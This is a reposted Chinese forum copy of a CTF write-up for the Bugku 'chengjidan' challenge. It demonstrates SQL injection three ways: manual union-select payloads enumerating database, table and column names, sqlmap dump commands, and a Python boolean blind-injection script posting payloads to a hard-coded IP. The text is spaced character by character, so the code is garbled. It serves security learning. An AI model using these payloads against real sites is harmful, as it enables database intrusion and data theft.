搜索

[17994] 2021-04-29_【信息安全学习系列】-bugku成绩单（三种注入方法：手动注入、sqlmap注入、python盲注）

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-04-29_【信息安全学习系列】-bugku成绩单（三种注入方法：手动注入、sqlmap注入、python盲注） 【 信 息 安 全 学 习 系 列 】 - b u g k u 成 绩 单 （ 三 种 注 入 方 法 ： 手 动 注 入 、 s q l m a p 注 入 、 p y t h o n 盲 注 ） 原 创   H a c k i n g 黑 白 红   H a c k i n g 黑 白 红   2 0 2 1 - 0 4 - 2 9 h t t p : / / x . x . x . x : 8 0 0 2 / c h e n g j i d a n / 注 入 三 种 方 法 ： 手 动 s q l 注 入 、 s q l m a p 注 入 （ p o s t 方 式 ） 、 p y t h o n 脚 本 注 入 ( 1 )       手 动 注 入 手 动 注 入                                               a . 找 漏 洞 找 漏 洞 输 入 1 , 2 , 3   均 显 示 成 绩 输 入 - 1 ’   o r   1 = 1 #     同 样 显 示 成 绩 ， 证 明 存 在 注 入 漏 洞 输 入 1 ' 返 回 异 常 ， 输 入 1 ' - - + 返 回 异 常 ， 输 入 1 '   # 或 者 1 ’ - -   + 返 回 正 常 ， 看 来 过 滤 了 - - + 观 察 ， 表 貌 似 有 四 列 （ 名 字 ， M a t h ， E n g l i s h ， C h i n e s e ） ， 输 入 1 '   o r d e r b y   4 # 返 回 正 常 ， 输 入 1 '   o r d e r   b y   5 # 返 回 异 常 ， 看 来 的 确 是 4 列 接 下 来 就 开 始 暴 库 名 、 表 名 、 字 段 名 尝 试 联 合 查 询 ， 记 得 把 前 面 的 查 询 数 据 置 空 ， 写 成 i d = - 1 即 可 ， 显 示 正 常 ， 说 明 确 确 实 实 存 在 这 四 列 数 据 我 们 先 手 遍 历 一 遍   i d = - 1 '   u n i o n s e l e c t   1 , 2 , 3 , 4 # 发 现 有 四 个 表 且 都 有 回 显 于 是   就 开 始 爆 破 吧   首 先 爆 库 名 ： 通 过 i d = - 1 ' u n i o n   s e l e c t   1 , 2 , 3 , d a t a b a s e ( ) # 得 到 数 据 库 名 字 s k c t f _ f l a g b . 爆 表 爆 表 然 后 爆 表 ： 通 过 使 用   i d = - 1 '   u n i o n   s e l e c t   1 , 2 , 3 , g r o u p _ c o n c a t ( t a b l e _ n a m e )   f r o m i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( ) #   c . 爆 字 段 爆 字 段 接 下 来 我 们 就 要 暴 字 段 了 通 过 i d = - 1 '   u n i o n   s e l e c t   1 , 2 , 3 , g r o u p _ c o n c a t ( c o l u m n _ n a m e )   f r o m i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = 0 x 6 6 6 c 3 4 6 7 #   / / 这 里 需 要 用 1 6 进 制 绕 过 d . 爆 破 字 段 值 ， 得 到 字 段 爆 破 字 段 值 ， 得 到 字 段 s k c t f _ f l a g 最 后 就 是 查 询 数 据 了 ， 通 过 使 用 ： i d = - 1 '   u n i o n   s e l e c t   1 , 2 , 3 , s k c t f _ f l a g   f r o m   f l 4 g # ( 2 )       s q l m a p 注 入 注 入 ( b p 抓 包 抓 包 ) 输 入 1 并 进 行 抓 包 然 后 按 右 键 ， 点 击 c o p y t o   f i l e 保 存 文 件 ， 这 里 我 保 存 到 了 C 盘   3 3 3 . t x t 。
然 后 打 开 s q l m a p 开 始 爆 库 : s q l m a p . p y   - r   “ C : 3 3 3 . t x t ”   - p   i d   – c u r r e n t - d b   - r   – >   加 载 一 个 文 件   - p   – > 指 定 参 数   – c u r r e n t - d b   – > 获 取 当 前 数 据 库 名 称 （ c u r r e n t 前 有 两 个 - ） 可 以 看 到 它 的 数 据 库 为 ‘ s k c t f _ f l a g ’ , 接 着 就 是 爆 表   s q l m a p . p y   - r   “ C : 3 3 3 . t x t ”   - p   i d   - D   s k c t f _ f l a g   -   - t a b l e s   - D   – > 指 定 数 据 库 名 称   – t a b l e s   – > 列 出 数 据 库 中 的 表 ( t a b l e s 前 有 两 个 - )   可 以 看 到 当 前 数 据 库 中 有 两 个 表 ， 很 明 显 ， f l a g 应 该 在 f l 4 g 表 中 ， 下 面 就 是 该 爆 出 表 中 的 字 段 了   s q l m a p . p y   - r   “ C : 3 3 3 . t x t ”   - p   i d   - D   s k c t f _ f l a g   - T   f l 4 g   – c o l u m n s   - T   – > 指 定 表 名 称   – c o l u m n s   – > 列 出 表 中 的 字 段   f l 4 g 表 中 有 一 个 名 为 s k c t f _ f l a g 字 段 ， 最 后 列 出 字 段 信 息 就 可 以 啦 。   s q l m a p . p y   - r   “ c : 3 3 3 . t x t ”   - p   i d   - D   s k c t f _ f l a g   - T   f l 4 g   - C   s k c t f _ f l a g   – d u m p   – d u m p   – > 列 出 字 段 数 据 ( d u m p 前 有 两 个 - )   ( 3 )       p y t h o n   s q l 盲 注 盲 注 通 过 构 造 i d = 1 ' a n d   1 = 1 # 或 返 回 成 绩 ， i d = 1 ' a n d   1 = 2 # 不 会 返 回 成 绩 。 可 以 肯 定 这 道 题 可 以 利 用 布 尔 盲 注
脚 本   p a y l o a d 从 上 倒 下 依 次 是 为 了 得 到 数 据 库 名 字 ， f l a g 表 名 ， f l a g 字 段 名 ， f l a g 爆 破 数 据 库 名 爆 破 表 名 爆 破 f l a g 字 段 名 爆 破 f l a g #   - * -   c o d i n g : u t f - 8   - * - i m p o r t   r e q u e s t s i m p o r t   r e   u r l   =   " h t t p : / / 1 2 0 . 2 4 . 8 6 . 1 4 5 : 8 0 0 2 / c h e n g j i d a n / i n d e x . p h p "   b a s e _ p a y l o a d   =   " 1 '   a n d   i f ( a s c i i ( s u b s t r ( { d a t a } , { l e n } , 1 ) ) > { n u m b e r } , 1 , 0 ) # "   # i f ( p r e p 1 . p r e p 2 , p r e p 3 )   若 表 达 式 p r e p 1 为 真 ， 则 返 回 p r e p 2 ， 若 p r e p 1 为 假 ， 则 返 回 p r e p 3 # b a s e _ p a y l o a d   =   " 1 '   a n d   i f ( a s c i i ( s u b s t r ( s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ n a m e = d a t a b a s e ( )   l i m i t   0 , 1 ) > { n u m } , { l e n } , 1 ) , 1 , 0 ) # " # p a y l o a d   =   " d a t a b a s e ( ) "   # s k c t f _ f l a g   # p a y l o a d   =   " ( s e l e c t   t a b l e _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . t a b l e s   w h e r e   t a b l e _ s c h e m a = d a t a b a s e ( )   l i m i t   0 , 1 ) "   # f l 4 g # p a y l o a d   =   " ( s e l e c t   c o l u m n _ n a m e   f r o m   i n f o r m a t i o n _ s c h e m a . c o l u m n s   w h e r e   t a b l e _ n a m e = ' f l 4 g '   l i m i t   0 , 1 ) "   # s k c t f _ f l a g p a y l o a d   =   " ( s e l e c t   s k c t f _ f l a g   f r o m   f l 4 g   l i m i t   0 , 1 ) "   i n f o r m a t i o n = " "   f o r   m   i n   r a n g e ( 1 , 5 0 ) :         f o r   i   i n   r a n g e ( 3 2 , 1 2 9 ) :                 p o s t _ d a t a   =   { " i d " : b a s e _ p a y l o a d . f o r m a t ( d a t a   =   p a y l o a d , l e n   =   m , n u m b e r = i ) }                 r   =   r e q u e s t s . p o s t ( u r l , p o s t _ d a t a )                 r e s u l t a r r   =   r e . f i n d a l l ( r " < t d > ( . + ? ) < t d > " , r . t e x t )                 r e s u l t   =   ' ' . j o i n ( r e s u l t a r r )                 # p r i n t   r e s u l t                   # p r i n t   r . t e x t                 # p r i n t   p o s t _ d a t a                 i f   ' 6 0 '   n o t   i n   r e s u l t :                         i n f o r m a t i o n   + =   c h r ( i )                         b r e a k p r i n t   i n f o r m a t i o n
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理